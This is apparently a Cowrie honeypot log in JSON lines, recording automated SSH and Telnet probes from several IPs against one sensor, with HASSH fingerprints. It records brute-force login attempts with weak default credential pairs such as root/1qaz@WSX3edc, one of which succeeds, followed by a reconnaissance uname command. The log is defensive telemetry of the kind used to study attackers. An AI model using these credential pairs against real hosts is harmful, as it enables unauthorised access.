{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:03.835457Z","src_ip":"122.168.114.167","session":"cd1312e88198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.103.88.242","src_port":60158,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d7f2ae827b1","protocol":"telnet","message":"New connection: 103.103.88.242:60158 (159.203.135.109:23) [session: 4d7f2ae827b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:03.843047Z"}
{"eventid":"cowrie.session.closed","duration":13.511896848678589,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:17.354855Z","src_ip":"103.103.88.242","session":"4d7f2ae827b1","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:18.750035Z","src_ip":"122.168.114.167","session":"cd1312e88198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.263877153396606,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:19.933757Z","src_ip":"185.26.126.47","session":"8011a7029654","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44692,"dst_ip":"159.203.135.109","dst_port":22,"session":"2523ab658e92","protocol":"ssh","message":"New connection: 159.203.92.129:44692 (159.203.135.109:22) [session: 2523ab658e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:25.834635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:25.869238Z","src_ip":"159.203.92.129","session":"2523ab658e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:25.875278Z","src_ip":"159.203.92.129","session":"2523ab658e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"approot","password":"approot","message":"login attempt [approot/approot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:25.993509Z","src_ip":"159.203.92.129","session":"2523ab658e92","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:27.010058Z","src_ip":"122.168.114.167","session":"cd1312e88198","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:27.013584Z","src_ip":"122.168.114.167","session":"cd1312e88198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:27.043217Z","src_ip":"159.203.92.129","session":"2523ab658e92","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"4.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:31.122458Z","src_ip":"122.168.114.167","session":"cd1312e88198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.4","message":"Connection lost after 31.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:31.127066Z","src_ip":"122.168.114.167","session":"cd1312e88198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":46224,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e74cd91315e","protocol":"ssh","message":"New connection: 122.168.114.167:46224 (159.203.135.109:22) [session: 7e74cd91315e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:37.497285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:42.525228Z","src_ip":"122.168.114.167","session":"7e74cd91315e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:42.529698Z","src_ip":"122.168.114.167","session":"7e74cd91315e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:57.186323Z","src_ip":"122.168.114.167","session":"7e74cd91315e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.3","message":"Connection lost after 25.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:02.825479Z","src_ip":"122.168.114.167","session":"7e74cd91315e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36410,"dst_ip":"159.203.135.109","dst_port":22,"session":"410c373f40d0","protocol":"ssh","message":"New connection: 159.203.92.129:36410 (159.203.135.109:22) [session: 410c373f40d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:09.191507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:09.196316Z","src_ip":"159.203.92.129","session":"410c373f40d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:09.201116Z","src_ip":"159.203.92.129","session":"410c373f40d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"approot","password":"approot123","message":"login attempt [approot/approot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:09.212896Z","src_ip":"159.203.92.129","session":"410c373f40d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:10.219446Z","src_ip":"159.203.92.129","session":"410c373f40d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":48634,"dst_ip":"159.203.135.109","dst_port":22,"session":"010914953f9e","protocol":"ssh","message":"New connection: 122.168.114.167:48634 (159.203.135.109:22) [session: 010914953f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:20.539992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:23.623828Z","src_ip":"122.168.114.167","session":"010914953f9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:23.631791Z","src_ip":"122.168.114.167","session":"010914953f9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.104.71.69","src_port":49452,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc8c132452a8","protocol":"telnet","message":"New connection: 185.104.71.69:49452 (159.203.135.109:23) [session: cc8c132452a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:25.294441Z"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:39.020186Z","src_ip":"122.168.114.167","session":"010914953f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.972614049911499,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:39.266779Z","src_ip":"185.104.71.69","session":"cc8c132452a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"23.0","message":"Connection lost after 23.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:43.547788Z","src_ip":"122.168.114.167","session":"010914953f9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45858,"dst_ip":"159.203.135.109","dst_port":22,"session":"939c2aafa2d0","protocol":"ssh","message":"New connection: 159.203.92.129:45858 (159.203.135.109:22) [session: 939c2aafa2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:52.377731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:52.382143Z","src_ip":"159.203.92.129","session":"939c2aafa2d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:52.386532Z","src_ip":"159.203.92.129","session":"939c2aafa2d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apps","password":"111111","message":"login attempt [apps/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:52.396868Z","src_ip":"159.203.92.129","session":"939c2aafa2d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:53.402981Z","src_ip":"159.203.92.129","session":"939c2aafa2d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":51038,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f608036ae32","protocol":"ssh","message":"New connection: 122.168.114.167:51038 (159.203.135.109:22) [session: 3f608036ae32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:31:58.666714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:32:02.334088Z","src_ip":"122.168.114.167","session":"3f608036ae32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:32:02.389922Z","src_ip":"122.168.114.167","session":"3f608036ae32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:32:19.183123Z","src_ip":"122.168.114.167","session":"3f608036ae32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.1","message":"Connection lost after 26.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:32:24.750422Z","src_ip":"122.168.114.167","session":"3f608036ae32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40794,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb398f759ab4","protocol":"ssh","message":"New connection: 159.203.92.129:40794 (159.203.135.109:22) [session: eb398f759ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:32:35.948343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:32:35.953261Z","src_ip":"159.203.92.129","session":"eb398f759ab4","protocol":"ssh"}
